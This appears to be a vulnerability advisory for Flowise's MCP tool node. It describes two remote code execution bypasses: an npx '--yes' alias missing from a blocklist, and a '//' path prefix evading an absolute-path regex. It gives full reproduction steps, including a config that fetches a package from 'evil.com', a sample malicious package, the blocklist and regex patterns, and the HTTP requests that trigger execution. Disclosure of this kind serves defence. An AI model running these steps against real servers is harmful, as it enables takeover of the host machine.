Flowise has an MCP Security Bypass that Enables RCE

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition:

1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

For example:

~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

POST /api/v1/export-import/import  HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479

 {
    "ChatMessage": [
      {
        "id": "11111111-2222-4333-8444-555555555555",
        "role": "userMessage",
        "chatflowid": "{chatflow_id}",
        "content": "seed for home path test",
        "chatType": "EXTERNAL",
        "chatId": "audit-home-001",
        "createdDate": "2026-03-04T06:40:00.000Z",
        "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
      }
    ]
  }

POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57

{"chatflowId":"{chatflow_id}"}

After obtaining the absolute path, simply modify the path in args to the path of the file name:

  {
    "command": "node",
    "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
  }

After saving, execution will trigger RCE

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .